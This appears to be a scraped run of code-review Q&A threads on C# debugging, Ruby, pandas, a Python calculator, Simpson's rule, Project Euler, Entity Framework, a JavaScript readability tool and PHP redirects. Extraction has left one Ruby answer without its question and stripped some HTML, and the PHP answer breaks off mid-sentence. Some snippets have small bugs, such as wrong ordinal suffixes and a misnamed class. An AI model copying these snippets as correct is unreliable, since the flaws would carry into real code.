Testing whether to launch debugger based on build & command line arguments I have a C# application that may be spawned by another process using Shell or its equivalent. As such, it is not trivial to simply F5 into a breakpoint nor launching an external program will work since a brand new process get spawned. Thus it is problematic especially when doing integration tests or diagnosing unusual problem that requires the same context than the one provided by automated tests.

I thought of passing in a debug flag but I don't want it to be accepted in a release build. I adapted the code from this SO thread by making it a complete function that returns a private struct. The important part is the check within the Main procedure where we inspect whether a -debug flag has been passed via the command line argument and if so, confirm this is a debug build, not a release build. This seems to work well enough; but I want to know if this is reasonably good way to enable debugging on demand without exposing too much. Thus, the review is to see if this could be improved upon:

Note: I don't currently use all the member of the struct in the code; I don't know if there may be other use yet and didn't bother eliminating the unused members.

Note #2: I belatedly realized that I could have wrapped the check and the supporting function inside a #if DEBUG block, which would also prevent the code from ever being included in a release build. However, it got me thinking if there might be legitimate scenario to launch debugger on a release build (even though the debug information will be sparse due to optimizations), so we can leave the question with the expectation that it could be used in release. Would it be an acceptable way or are there better ways?

internal class Program
{
    [STAThread]
    private static int Main(string[] args)
    {
        if (args.Any(a => a == "--debug") && GetDebugData().BuildType.ToLowerInvariant() == "debug")
        {
            Debugger.Launch();
        }

        // do something interesting....
    }

    private struct AssemblyDebugData
    {
        internal bool HasDebuggableAttribute;
        internal bool IsJITOptimized;
        internal string BuildType;
        internal string DebugOutput;
    }

    private static AssemblyDebugData GetDebugData()
    {
        AssemblyDebugData result = new AssemblyDebugData();

        object[] attribs = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(DebuggableAttribute), false);

        // If the 'DebuggableAttribute' is not found then it is definitely an OPTIMIZED build
        if (attribs.Length > 0)
        {
            // Just because the 'DebuggableAttribute' is found doesn't necessarily mean
            // it's a DEBUG build; we have to check the JIT Optimization flag
            // i.e. it could have the "generate PDB" checked but have JIT Optimization enabled
            DebuggableAttribute debuggableAttribute = attribs[0] as DebuggableAttribute;
            if (debuggableAttribute != null)
            {
                result.HasDebuggableAttribute = true;
                result.IsJITOptimized = !debuggableAttribute.IsJITOptimizerDisabled;
                result.BuildType = debuggableAttribute.IsJITOptimizerDisabled ? "Debug" : "Release";

                // check for Debug Output "full" or "pdb-only"
                result.DebugOutput = (debuggableAttribute.DebuggingFlags &
                               DebuggableAttribute.DebuggingModes.Default) !=
                              DebuggableAttribute.DebuggingModes.None
                    ? "Full" : "pdb-only";
            }
        }
        else
        {
            result.IsJITOptimized = true;
            result.BuildType = "Release";
        }

        return result;
    }
}

Use #if Debug. It will be a lot more expected to have to remove/disable that than to change the if and remember to remove the then-dead GetDebugData method. (Principle of Least Astonishment, right?)
Don't specify STAThread. It's just useless. First, it would be extremely surprising if someone tries to use multithreading 10 years down the road and it failed. Second, it doesn't provide any significant overhead (if any at all) to not use this. Finally, console apps run single-threaded by default. There is no excuse to disable multi-threading in the whole app. There is excuse to disable multi-threading in parts that can't be multi-threaded because of whatever (maybe it calls into code running on a STA thread), but those instances can be handled on a case-by-case basis with explanation in comments.

Now, assuming for some reason I haven't comprehended, you absolutely have to use this.

You are defining whether a build is a "debug" or "release" based on whether the code is optimized. That has nothing to do with Visual Studio's definition (and therefore the standard definition) of what a "debug" or "release" build is. That and the output paths are the only changes I can think of off-hand between the default "debug" and "release" candidates. However, you could define a "debug" build as one compiled against C# 7.2 and a "release" build as one compiled against C# 6 and leave optimization on or off in both for whatever reason. I wouldn't use the terminology "debug" vs. "release" here; I'd just check whether debug symbols were enabled when I determined whether to kick off the debugger.
If you change what I suggest above, I'd recommend renaming DebugOutput to just Output and assigning it whether the code is optimized or not. I can compile as None, Full, Pdb-Only, Portable, or Embedded with JIT-optimization enabled anyway.


Ruby refactor: use Enumerable.all?:

def divisible?(n)
  (1..20).all? { |x| n % x == 0 }
end

Mathematical refactor:calculate the least common multiple of the integers in the range (Integer#lcm is available from Ruby 1.9):

def divisible?(n)
  n % (1..20).reduce(:lcm) == 0
end

This second snippet is, of course, more efficient once you pre-calculate (1..20).reduce(:lcm) only once and store it somewhere.


Comparing the size of tumors over time using PANDAS I have a dataframe in pandas like this

Date         cell         tumor_size (assume it is three dimensional)
25/10/2015    113           [51, 52, 55]
22/10/2015    222           [50, 68, 22]
22/10/2015    883           [45, 23, 67]
20/10/2015    334           [35, 23, 76]

What I want to do is compare the size of the tumors detected on the different days. Let's consider the cell 222 as an example; I want to compare its size to different cells but detected on earlier days e.g. I will not compare its size with cell 883, because they were detected on the same day. Or I will not compare it with cell 113, because it was detected later on. As my dataset is too large, I have iterate over the rows. Here is my sample code:

# These will be our lists of pairs and size differences.
pairs = []
diffs = []

# Loop over all unique dates
for date in df.Date.unique():
    # Only take dates earlier then current date.
    compare_df =df.loc[df.Date < pd.Timestamp(date).to_pydatetime()].copy()
    # Loop over each cell for this date and find the minimum
    for row in df.loc[df.Date ==  pd.Timestamp(date).to_pydatetime()].itertuples():
        # If no cells earlier are available use nans.
        if compare_df.empty:
            pairs.append(float('nan'))
            diffs.append(float('nan'))
        # Take lowest absolute value and fill in otherwise
        else:
            compare_df['distance'] = compare_df['tumor_size'].map(lambda x: np.linalg.norm(x - row.tumor_size))
            row_of_interest = compare_df.loc[compare_df.distance == compare_df.distance.min()]
            cell = row.cell
            Date = row.Date
            most_similar_to = row_of_interest.cell.values[0]
            similarity = row_of_interest.distance.values[0]
            with open('final_csv', "a", newline="") as f:
                writer = csv.writer(f, dialect="excel-tab")
                writer.writerow([cell, Date, most_similar_to, similarity])

How could I improve the speed of the code? I have over one million cells.

There are a few quick improvements you can make. First, always remove as many things as possible from for loops. In this case, the date formatting and the open file lines can be removed.

Dates. Format the dates in your dataframe before the first for loop with something like

df['Date'] = pd.to_datetime(df['Date']).dt.date

Notice I’m converting the datetime into a date only since I don’t think you need to know the time.

This way you can write

compare_df = df.loc[df.Date < date].copy()

and

for row in df.loc[df.Date == date].itertuples():

It's faster to use Pandas series functions rather than calculate/convert something like pd.Timestamp(date).to_pydatetime() while looping through rows. I really liked this article which explains the fastest way to do things in Python.

Saving to file. Inside of the second for loop you have

with open('final_csv.csv',"a", newline="") as f:
    writer = csv.writer(f, dialect="excel-tab")

which is opening and closing the file every time through the for loop. So for a million records, the file is being opened and closed a million times. Opening it once at the beginning by moving those two lines to the beginning of the script should save a significant amount of time. When I time it for the four rows you gave in your example, it looks like the time is cut in half just by moving the with two lines above outside of the for loops.

Also, ‘final_csv’ has no extension, so the file is being saved as type ‘file’. If you want to save as a csv, then write

with open('final_csv.csv', "a", newline="") as f:
    writer = csv.writer(f)

I removed dialect="excel-tab" from the second line above so that columns are separated by commas and appear in separate columns when opened up in Excel.

If you run your script more than once the final_csv file that you already created will be added onto, and so you might end up with duplicate entries. To avoid this, write

with open('final_csv.csv', "w", newline="") as f

where “a” has been replaced with “w”, so that a new file will be created each time your script is run.

The pairs and diffs lists that you create are never used, so remove them.
As your code is right now, when there is no prior date, the last most_similar_to and similarity are being written to the file a second time rather than ‘nan’. To fix this, remove

cell = row.cell
Date = row.Date

from the conditional statement and instead put these two lines right after the second for statement.
Then replace

pairs.append(float('nan'))
diffs.appen(float('nan'))

after the if statement with

most_similar_to = float('nan')
similarity = float('nan')

Algorithm. Your use of map and lambda function is clever.

Another method to consider all together is using NumPy and calculating distances with matrix operations. Here is how I rewrote your code using NumPy (including all changes I mentioned above):

import pandas as pd
import numpy as np
import csv

df['Date'] = pd.to_datetime(df['Date']).dt.date

with open('final_csv.csv',"w", newline="") as f:
    writer = csv.writer(f)
    for row in df.itertuples():
        cell = row.cell
        Date = row.Date
        compare_df = df.loc[df.Date < row.Date].copy()
        if compare_df.empty:
            most_similar_to = float('nan')
            similarity = float('nan')
        else:
            sizes = np.array(list(compare_df['tumor_size']))
            diff = sizes - np.array(row.tumor_size).transpose()
            square = np.multiply(diff,diff)
            sums = np.sum(square, axis=1)
            distances = np.sqrt(sums).round(decimals=2)
            similarity = min(distances)
            ind = np.where(distances == similarity)[0][0]
            most_similar_to = list(compare_df['cell'])[ind]
        writer.writerow([cell, Date, most_similar_to, similarity])

For a small number of tumor sizes, I see an additional 2x increase in speed using NumPy. However, Python can only seem to easily handle a 10,000 by 10,000 square matrix. Anything much larger will drastically slow down a laptop with 8 GB RAM and core i7 processor. Below is the graph of the processing times as the size of the matrix increases.

It’s not clear to me if every cell size should be compared to all cell sizes from every previous date going back indefinitely. If you're able to limit the number of cells that each row has to be compared to (like maybe only going back a certain number of days, for example), you will save on time. If you do need to compare all cell sizes to all previous cell sizes, it may be possible to chunk the matrices and store in hdf5 files using PyTables.

Good luck!


Solution to 99 lisp problems, p09 in ruby I am fairly new to ruby, and I am worried that my solution to problem 9 of the 99 lisp problems is extremly convoluted and inefficient.
The problem is:

My Code

ul = "putanytexthere"
h = []

ul.upcase
  .split('')
  .sort
  .join('')
  .each_char
  .slice_when { |a,b| a != b }
  .map(&:join)
  .each do |el|
    if el.length > 1
      h << el
    end
  end

  print h.length

Here is solution that aims to solve the described problem.

Note that your initial solutions is doing more that the problem requires, you are handling string instead of lists, are ordering them, and the output isn't the one desired by the problem.

require 'minitest/autorun'

class L99
  # P09 (**) Pack consecutive duplicates of list elements into sublists.
  # If a list contains repeated elements they should be placed in separate sublists.
  def self.pack(list)
    list.slice_when { |i, j| i != j }.to_a
  end
end

class PackTest < Minitest::Test
  def test_pack
    list = %i[a a a a b c c a a d e e e e]
    expected = [%i[a a a a], [:b], %i[c c], %i[a a], [:d], %i[e e e e]]

    assert_equal expected, L99.pack(list)
  end

  def test_pack_string
    str = 'putanytexthere'
    expected = [['a'], %w[e e e], ['h'], ['n'], ['p'], ['r'], %w[t t t], ['u'], ['x'], ['y']]

    assert_equal expected, L99.pack(str.each_char.sort)
  end
end


Simple console calculator in python I am new to python, I made a calculator but I need to make it calculating unlimited numbers and to shorten the code more, how can I improve it?
Any help is appreciated.
while(True):
    print()
    try:
        nums = int(input("How many numbers you want to calculate?\n"))
    # x = float(input("Enter the first number: "))
    # y = float(input("Enter the second number: "))
    # z = float(input("Enter the third number: "))
    # w = float(input("Enter the forth number: "))
    # v = float(input("Enter the fifth number: "))

        if nums == 2:
            x = float(input("Enter the first number: "))
            y = float(input("Enter the second number: "))
            print()
            func = int(input('''What do you want to do?
            1 to add
            2 to subtract
            3 to multiply
            4 to divide
            '''))
            if func == 1:
                print(x+y)
            if func == 2:
                print(x-y)
            if func == 3:
                print(x*y)
            if func == 4:
                print(x/y)
        if nums == 3:
            x = float(input("Enter the first number: "))
            y = float(input("Enter the second number: "))
            z = float(input("Enter the third number: "))
            print()
            func = int(input('''What do you want to do?
            1 to add
            2 to subtract
            3 to multiply
            4 to divide
            '''))
            if func == 1:
                print(x+y+z)
            if func == 2:
                print(x-y-z)
            if func == 3:
                print(x*y*z)
            if func == 4:
                print(x/y/z)
        if nums == 4:
            x = float(input("Enter the first number: "))
            y = float(input("Enter the second number: "))
            z = float(input("Enter the third number: "))
            w = float(input("Enter the forth number: "))
            print()
            func = int(input('''What do you want to do?
            1 to add
            2 to subtract
            3 to multiply
            4 to divide
            '''))
            if func == 1:
                print(x+y+z+w)
            if func == 2:
                print(x-y-z-w)
            if func == 3:
                print(x*y*z*w)
            if func == 4:
                print(x/y/z/w)
        if nums == 5:
            x = float(input("Enter the first number: "))
            y = float(input("Enter the second number: "))
            z = float(input("Enter the third number: "))
            w = float(input("Enter the forth number: "))
            v = float(input("Enter the fifth number: "))
            print()
            func = int(input('''What do you want to do?
            1 to add
            2 to subtract
            3 to multiply
            4 to divide
            '''))
            if func == 1:
                print(x+y+z+w+v)
            if func == 2:
                print(x-y-z-w-v)
            if func == 3:
                print(x*y*z*w*v)
            if func == 4:
                print(x/y/z/w/v)
        if nums > 5:
            print("The calculator handles 5 numbers maximum!")
    except(ZeroDivisionError):
        print("You can never divide by Zero!")
    except(ValueError):
        print("Check your input.")

Loops would be the perfect tool here to reduce duplication; although getting it exactly as you have will be difficult due to you currently spelling out numbers ("first", "second", "third"...). For the sake of simplicity, I'm going to ignore the numeric words, because producing those is non-trivial and a whole project on its own unless you use an existing library.
In their place, I'm going to use a simple function. This can be optimized using a dictionary acting as a case, but I think it's fine as-is besides some minor duplication:
def format_number(n: int) -> str:
    last_digit = str(n)[-1]
    if last_digit == "1":
        return f"{n}st"
    elif last_digit == "2":
        return f"{n}nd"
    elif last_digit == "3":
        return f"{n}rd"
    else:
        return f"{n}th"

>>> format_number(2)
'2nd'
>>> format_number(5)
'5th'
>>> format_number(1)
'1st'

It goes a little bit wonky in the teens ("12nd"), but like I said, it isn't a super straightforward problem, and I don't want to sidetrack the review.

First, you can ask for numbers using a loop, and in the loop, place the entered numbers into a list:
nums = int(input("How many numbers you want to calculate?\n"))

entered_nums = []
for n in range(nums):
    x = float(input(f"Enter the {format_number(n + 1)} number: "))
    entered_nums.append(x)

When run, I get:
How many numbers you want to calculate?
3
Enter the 1st number: 9
Enter the 2nd number: 8
Enter the 3rd number: 7

And entered_nums now holds [9, 8, 7].
If you're at all familiar with list comprehensions though, you'll notice that that loop can be simplified a bit:
entered_nums = [float(input(f"Enter the {format_number(n + 1)} number: "))
                for n in range(nums)]

And this will have the same effect with a bit less bulk.

Once you have the numbers to do math on, you need to ask for the operation to apply, then apply that operation.
For the first, I'm going to import the operator module because it'll make life much easier. operator.add for example is the same thing as +; only it can be stored as an object.
I'm going to use a dictionary to store the menu code to operator relationship:
from operator import add, sub, mul, truediv
. . .

func = int(input('''What do you want to do?
            1 to add
            2 to subtract
            3 to multiply
            4 to divide
            '''))

code_to_op = {1: add,
              2: sub,
              3: mul,
              4: truediv}

This allows for easily doing math:
>>> code_to_op = {1: add,
                  2: sub,
                  3: mul,
                  4: truediv}

>>> op = code_to_op[3]
>>> op(3, 5)
15

Note though that a bad dictionary lookup will cause an error. code_to_op[5] for example will raise a KeyError. I didn't handle that for simplicity and because you currently aren't handling bad input. It should be dealt with though.

So now once we can get the operator that the user wants, we need to apply it to the numbers they entered. Again, a loop (or something that acts as a loop) is our friend here. We'll need to keep track of the current result of the equation (the "accumulator"), and a loop to do the math:
acc = entered_nums[0]  # The first number they entered will be our starting accumulator
for entered_num in entered_nums[1:]:  # And we'll loop over all the numbers after the first
    acc = op(acc, entered_num)

print(acc)

If the user entered in the numbers 2, 3, and 4, and then entered in 1 for the operator (add), acc would hold 9.0 at the end of that loop.
The acc+loop pattern is incredibly common in programming though. So common in fact that it has its own name: reduce:
from functools import reduce

. . .

result = reduce(op, entered_nums)

reduce here automates the looping for us. It's essentially equivalent to the previous loop that calculated the same value.

After taking that all into consideration, I'm left with:
from operator import add, sub, mul, truediv
from functools import reduce

def format_number(n: int) -> str:
    if n == 1:
        return f"{n}st"
    elif n == 2:
        return f"{n}nd"
    elif n == 3:
        return f"{n}rd"
    else:
        return f"{n}th"

while True:
    try:
        nums = int(input("How many numbers you want to calculate?\n"))

        entered_nums = [float(input(f"Enter the {format_number(n + 1)} number: "))
                        for n in range(nums)]

        code_to_op = {1: add,
                      2: sub,
                      3: mul,
                      4: truediv}

        func = int(input('''What do you want to do?
                    1 to add
                    2 to subtract
                    3 to multiply
                    4 to divide
                    '''))

        op = code_to_op[func]

        acc = entered_nums[0]  # The first number they entered will be our starting accumulator

        for entered_num in entered_nums[1:]:  # And we'll loop over all the numbers after the first
            acc = op(acc, entered_num)

        print(acc, "\n")

    except(ZeroDivisionError):
        print("You can never divide by Zero!")

    except(ValueError):
        print("Check your input.")

And an example run:
How many numbers you want to calculate?
6
Enter the 1st number: >? 9
Enter the 2nd number: >? 8
Enter the 3rd number: >? 7
Enter the 4th number: >? 6
Enter the 5th number: >? 5
Enter the 6th number: >? 4
What do you want to do?
                    1 to add
                    2 to subtract
                    3 to multiply
                    4 to divide
                    >? 1
39.0

There is still a lot that can be mentioned (grouping things into functions, fixing some error handling), but I need to start studying for an exam :)


Simpson's method for numerically computing the integration of a function I have implemented the Simpson's rule for numerical integration.

Check this video for the implemented function.

namespace Simpsons_method_of_integration
{
    //https://www.youtube.com/watch?v=ns3k-Lz7qWU
    using System;

    public class Simpson
    {
        private double Function(double x)
        {
            return 1.0 / (1.0 + Math.Pow(x, 5)); //Define the function f(x)
        }

        public double Compute(double a, double b, int n)
        {
            double[] x = new double[n + 1];

            double delta_x = (b - a) / n;

            x[0] = a;

            for (int j = 1; j <= n; j++)//calculate the values of x1, x2, ...xn
            {
                x[j] = a + delta_x * j;
            }

            double sum = Function(x[0]);

            for (int j = 1; j < n; j++)
            {
                if (j % 2 != 0)
                {
                    sum += 4 * Function(x[j]);
                }
                else
                {
                    sum += 2 * Function(x[j]);
                }
            }

            sum += Function(x[n]);

            double integration = sum * delta_x / 3;

            return integration;
        }
    }

    public class MainClass
    {
        public static void Main()
        {
            Simpson simpson = new Simpson();
            double a = 0d;//lower limit a
            double b = 3d;//upper limit b
            int n = 6;//Enter step-length n

            if (n % 2 == 0)//n must be even
            {
                Console.WriteLine(simpson.Compute(a, b, n));
            }
            else
            {
                Console.WriteLine("n should be an even number");
            }

            Console.ReadLine();
        }
    }
}

Output:

1.07491527775614

How can I make this source code more efficient?

There is no reason to allocate the double[] x array. It is better to compute the argument as you go: initialize double x = a; and increment it x += delta_x; in the loop body.
if in the loop is usually a performance killer. Consider incrementing j by 2:

    for (int j = 1; j < n; j += 2)
    {
        sum += 2 * Function(x);
        x += delta_x;
        sum += 4 * Function(x);
        x += delta_x;
    }

Now depending on the parity of n the very last addition could be wrong, and you need to compensate for it.
Function shall not be a Simpson's method. The Simpson shall not care what it integrates. Change the signature of Compute to accept the callable.
The choice of \$\dfrac{1}{1 + x^5}\$ for an integrand looks strange. It is hard to verify that the result is correct. I recommend to test against some more friendly integrands first.


Speeding up my implementation of Project Euler #3 Project Euler problem 3 asks for the largest prime factor of 600851475143.

I have gone from 96 lines to 17 lines taking hits at this one.  This is what I am left with after all of that effort:

public class IntegerFactoriseFive {

    public static void main(String[] args)
    {
        long n = 600851475143L;
        for (long i = 2; i <= n; i++)
        {
            if (n % i==0)
            {
                System.out.println(i);
                n = n / i;
                i = 2;
            }
        }
    }
}

Is there any way to make it faster?

I'm not suggesting that it isn't quick enough already, but for the sake of it and for improving the way I tackle problems in the future. My other solutions were taking forever.  I was using recursion, and I even only iterated up to the square root of the numbers I was checking (from early school maths I know to only check up to the square root, it is a lot quicker), but it was still to slow.  In the end, iterating by one and dividing this huge number was the wrong way to go about it, so instead, I figured that dividing the number as much as possible was the only way I could do it in any good time.

Please offer suggestions.  As you can see by the class name, it is my fifth official solution for it that is the quickest of the ones I came up with.

By inspection, n has no even factors.  You only need to try odd factors.

Whenever you find an i that is a divisor of n, you should factor out all powers of i.  There is also no need for i to start from scratch — your hunt for divisors should proceed monotonically upward.

Your search can end when i reaches or surpasses the square root of n.  At that point, n is the answer to the challenge.

(A reasonable algorithm should obtain the answer within milliseconds.)


Search through multiple lists, but have functions that do that in parts I have an Entity Framework table of Addresses. I'm building a Repository that would allow me to search for an Address by either parts of the Address or the whole address.

Here's what I've got so far:

public class AddressRepository : Repository<Address>
{
    public List<Address> GetByAddress(string street, string city, string state, string zip)
    {
        return DbSet
            .Where(address => address.Street.Contains(street))
            .Where(address => address.City.Contains(city))
            .Where(address => address.State.Contains(state))
            .Where(address => address.Zip.Contains(zip))
            .ToList();
    }

    public List<Address> GetByStreet(string street)
    {
        return DbSet.Where(address => address.Street.Contains(street)).ToList();
    }

    public List<Address> GetByCity(string city)
    {
        return DbSet.Where(address => address.Street.Contains(city)).ToList();
    }

    public List<Address> GetByState(string state)
    {
        return DbSet.Where(address => address.Street.Contains(state)).ToList();
    }

    public List<Address> GetByZip(string zip)
    {
        return DbSet.Where(address => address.Street.Contains(zip)).ToList();
    }
}

Here is my Repository base class:

public class Repository<T> where T : class
{
    private readonly ApplicationDbContext _applicationDbContext = new ApplicationDbContext();

    protected DbSet<T> DbSet { get; }

    protected Repository()
    {
        DbSet = _applicationDbContext.Set<T>();
    }

    public virtual List<T> GetAll()
    {
        return DbSet.ToList();
    }

    public virtual T Get(int id)
    {
        return DbSet.Find(id);
    }

    public virtual void Add(T entity)
    {
        DbSet.Add(entity);
    }

    public virtual void SaveChanges()
    {
        _applicationDbContext.SaveChanges();
    }
}

Now, I'm thinking that in my GetByAddress function I should be calling my GetByStreet/City/State/Zip functions instead of repeating their code.

I haven't quite figured out how to do that, so any help or suggestions regarding that would be great.

As a side question: In my Repository class I have a GetAll function that returns the whole DbSet as a list, should I be calling GetAll().Where(...) instead of calling DbSet.Where(...)?

I would suggest that you don't use a repository at all. You already have a library that handles abstracting the database. You don't need the repository abstraction. And if you need some kind of abstraction, use a query object.

Some extensions are handy to build the query:

public static class AddressQueryExtensions
{
    public static IQueryable<Address> WhereStreetContains(this IQueryable<Address> query, string street)
    {
        return query.Where(address => address.Street.Contains(street));
    }

    public static IQueryable<Address> WhereCityContains(this IQueryable<Address> query, string city)
    {
        return query.Where(address => address.City.Contains(city));
    }

    public static IQueryable<Address> WhereStateContains(this IQueryable<Address> query, string state)
    {
        return query.Where(address => address.State.Contains(state));
    }

    public static IQueryable<Address> WhereZipContains(this IQueryable<Address> query, string zip)
    {
        return query.Where(address => address.Zip.Contains(zip));
    }
}

These can be combined however you want:

var addresses = DbSet
    .WhereStreetContains(street)
    .WhereCityContains(city)
    .WhereZipContains(zip)
    .Where(x => x.State == null)
    .ToList();

Some reading regarding repositories and ORMs.

https://lostechies.com/jimmybogard/2012/09/20/limiting-your-abstractions/
https://lostechies.com/jimmybogard/2012/10/08/favor-query-objects-over-repositories/
https://ayende.com/blog/3955/repository-is-the-new-singleton


Calculate LIX value of a text I've been building a simple tool to calculate the LIX value of a text (a standard measurement of the readability of a text).

My approach was to have every step of the calculation as seperate functions. In a larger and more complex tool the total words, sentences and others would be nice to have as independent functions.

Also the functions should be able to take in any string input and do their calculations. So that I would easily be able to use this in other contexts like TinyMCE editor and so forth.

So I've tried to find a way to make the code flexible. And my ambition was to write simple and pure functions.

I'm a little in doubt as to how readable and maintainable this approach is.

The click function triggering the calculation is an example. I'd really like your thoughts about this functions inside functions approach. I found it very nice to work in this way.

jQuery(document).ready(function() {

  function getText() {
    var text = jQuery('#inputLix').val();

    return text;
  }

  function countWords(input) {
    var wordCount;
    var wordsArray;
    var splitter = /\s|\n/g;
    wordsArray = input
      .replace(/(<([^>]+)>)/ig, "")
      .replace(/,/g, "")
      .replace(/-/g, "")
      .replace(/"/g, "")
      .replace(/'/g, "")
      .split(splitter)
      .filter(Boolean);
    wordCount = wordsArray.length;
    return wordCount;
  }

  function longWordCount(input) {
    var longWordCounter = 0;
    var splitter = /\s|\n/g;
    var checkedText = input.replace(/<([^>]+)>|[\.\+\?,\(\)"'\-\!\;\:]/ig, "");
    var wordsArray = checkedText
      .split(splitter)
      .filter(Boolean);

    for (var i in wordsArray) {
      if (wordsArray[i].charAt(0) > -1) {} else if (wordsArray[i].length > 6) {
        longWordCounter++;
      }
    }
    return longWordCounter;
  }

  function getSentences(input) {
    var splitter = /\?|\!|\.|\n/g;
    var checkedText = input
      .replace(/(<([^>]+)>)/ig, "")
      .replace(/,/g, "")
      .replace(/-/g, "")
      .replace(/"/g, "")
      .replace(/'/g, "");
    var arrayOfSentences = checkedText.split(splitter);
    arrayOfSentences = arrayOfSentences.filter(Boolean);
    return arrayOfSentences;
  }

  function countSentences(input) {
    return input.length;
  }

  function calculateLix(wordCount, sentenceCount, longWordsCount) {
    var lixScore = Math.round((wordCount / sentenceCount) + ((longWordsCount * 100) / wordCount));
    return lixScore;
  }

  function outputContent(input, id) {
    jQuery(id).html(input);
  }

  jQuery("#lixButton").click(function() {
    var input = getText();
    outputContent(calculateLix(countWords(input), countSentences(getSentences(input)), longWordCount(input)), "#notification");
  });

});
.tool-wrapper {
  background: #899398;
  padding: 30px;
  border-radius: 10px;
}

textarea {
  width: 100%;
}

  <textarea id="inputLix" rows="15">This is just some basic text. Push the button to calculate the LIX value. And figure out how hard your text is to read.</textarea>

    <button id="lixButton" class="alignright" type="submit">Calculate Lix</button>

You haven't performed any calculations yet

Your code could be simplified and better organized.

You seem to be expecting HTML, as evidenced by various calls that look like .replace(/(<([^>]+)>)/ig, "").  However, that is a half-assed way of interpreting HTML as text.

Consider that your getSentences() treats a newline as a possible sentence delimiter.  But all whitespace in HTML is considered equivalent, more or less.  If your input is indeed HTML, you should normalize all whitespace as spaces, and interpret tags such as
 and
 as line breaks.

Also, if the input is HTML, you ought to decode entities (&65; is A, for example).
Most of your functions have parameters named input.  Well, duh.  All parameters act as input, by definition.  But what kind of input?  Here is the most baffling example, where the input is supposed to be an array of sentences:

function countSentences(input) {
  return input.length;
}

If the input is HTML text, call it html.  If it's plain text, then call it text.
The click handler is a bit convoluted.  It should look like this:

jQuery("#lixButton").click(function() {
  var html = jQuery('#inputLix').val();
  jQuery('#notification').text(lixScore(htmlToText(html)));
});

In particular, your getText() function hard-coded the ID of the textarea, which I don't recommend.  Your outputContent(), in contrast, does take a jQuery selector as a parameter (inappropriately named id), which is good, but needlessly complicated.  I would eliminate both getText() and outputContent().
The calculateLix() function is hard to use.  Why does it need so many parameters?  Why not just feed it some text and have it do the analysis?
The helper functions are inconsistently designed: countWords(input) vs. longWordCount(input) vs. countSentences(getSentences(input)).

The implementations of countWords() and longWordCount() overlap, and they treat punctuation differently (why?).  Once you have identified the words, shouldn't counting long words be a simple matter of filtering by length?

Why does getSentences() mess around with punctuation that is irrelevant to sentence-splitting?

Suggested implementation

jQuery(document).ready(function() {
  var htmlNamedEntities = {
    "amp": "&",
    "quot": '"',
    "lt": "<",
    "gt": ">"
  };

  function htmlToText(html) {
    return html.replace(/\s+/, " ")
               .replace(/<\/?\s*(p|br|hr)[^>]*>/ig, "\n")
               .replace(/(<[^>]+>)|&(\d+);|&x([0-9a-f]+);|&([a-z]+);/ig,
      function($0, tag, decimalEntity, hexEntity, namedEntity) {
        return tag ? ""
             : decimalEntity ? String.fromCharCode(parseInt(decimalEntity))
             : hexEntity ? String.fromCharCode(parseInt(hexEntity, 16))
             : htmlNamedEntities[namedEntity];
      }
    );
  }

  function words(text) {
    return text.replace(/[-']/ig, "")  // Ignore hyphens and apostrophes.
               .split(/\W+/)           // This assumes that the text is alphanumeric English.
               .filter(Boolean);
  }

  function sentences(text) {
    return text.split(/[?!.\n]+/)
               .filter(Boolean);
  }

  function lixScore(text) {
    var textWords = words(text);
    var w = textWords.length;
    var lw = textWords.filter(function(w) { return w.length > 6 }).length;
    var s = sentences(text).length;
    return Math.round((w / s) + (100 * lw / w));
  }

  jQuery("#lixButton").click(function() {
    var html = jQuery('#inputLix').val();
    jQuery('#notification').text(lixScore(htmlToText(html)));
  });

});
.tool-wrapper {
  background: #899398;
  padding: 30px;
  border-radius: 10px;
}

textarea {
  width: 100%;
}

  <textarea id="inputLix" rows="5">This is just some basic text. Push the button to calculate the LIX value. And figure out how hard your text is to read.</textarea>

    <button id="lixButton" class="alignright" type="submit">Calculate Lix</button>

You haven't performed any calculations yet


HTTP redirects after login, registration, and logout I am using following classes/interface to redirect user (after login, register, logout etc.)

File: RedirectInterface.php

interface RedirectInterface
{
    public function getUrl($customerId = null);
}

File: LoginRedirect.php

class LoginRedirect implements RedirectInterface
{
    public function getUrl($customerId = null)
    {
        // do some business logic here to get url
        $url = '/account/some-customer';
        return $url;
    }
}

File: RegisterRedirect.php

class RegisterRedirect implements RedirectInterface
{
    public function getUrl($customerId = null)
    {
        // do some business logic here to get url
        $url = '/welcome/some-customer';
        return $url;
    }
}

File: RedirectFactory - Creational design pattern (static factory)

class RedirectFactory
{
    public static function build($type, $customerId)
    {
        if ($type == 'login') {
            return new LoginRedirect($customerId);
        } else if ($type == 'register') {
            return new RegisterRedirect($customerId);
        }
        throw new InvalidArgumentException ('Invalid redirect type.');
    }
}

Usage:

// 1. Usage: Somewhere in customer registration code
$redirectUrl = RedirectFactory::build('register', 102)->getUrl();
header('Location: ' . $redirectUrl);

// 2. Usage: Somewhere in customer login code
$redirectUrl = RedirectFactory::build('login', 102)->getUrl();
header('Location: ' . $redirectUrl);

If you were given a chance to refactor this code. How would you have re-developed it?

Your RedirectInterface type doesn't redirect. It's just a URL builder. Either the name should be changed to reflect that, or RedirectInterface needs a redirect method.
You're supplying a customer ID to RedirectFactory::build, but your interface also specifies an optional $customerId parameter. If i'm ever handed a RedirectInterface, i can't make assumptions about how it was built. I don't know whether it was constructed with a customer ID, or whether i need to give it one -- or, even worse, whether the customer ID i supply will be used at all, or the one supplied to RedirectFactory::build will override it. I would get rid of the parameter in one place or the other to minimize that confusion.
RedirectFactory does one of exactly two "redirects", and uses a string to decide between them. Right now, this is false indirection. You could replace these two cases with distinct functions, and no functionality whatsoever would be lost. (Think about it...are you ever going to not know which kind of redirect you want?)

If you're going to keep this at all, then have an array mapping types to builder functions/objects for the various URL types. Provide a way to add redirect types to the array, and add your 'login' and 'register' cases in that manner.  Something like, say,

class RedirectFactory {
    private static $urlBuilders = [];

    public static function addRedirectType($type, RedirectInterface $builder) {
        if (isset(self::$urlBuilders[$type])) {
            throw new InvalidArgumentException("Type '$type' is already defined");
        }

        self::$urlBuilders[$type] = $builder;
    }

    public static function build($type) {
        if (isset(self::$urlBuilders[$type])) {
            return self::$urlBuilders[$type];
        }
        else throw new InvalidArgumentException('Invalid redirect type.');
    }

    public static function getUrl($type, $customerId) {
        return self::build($type)->getUrl($customerId);
    }

    public static function bounce($type, $customerId) {
        $url = self::getUrl($type, $customerId);
        header("Location: $url");
    }
}

Redirects::addRedirectType('login', new LoginRedirect);
Redirects::addRedirectType('register', new RegisterRedirect);

And your redirect code becomes

$redirectUrl = RedirectFactory::build('register')->getUrl(102);
header('Location: ' . $redirectUrl);

Or:

$redirectUrl = RedirectFactory::getUrl('register', 102);
header('Location: ' . $redirectUrl);

Or even better:

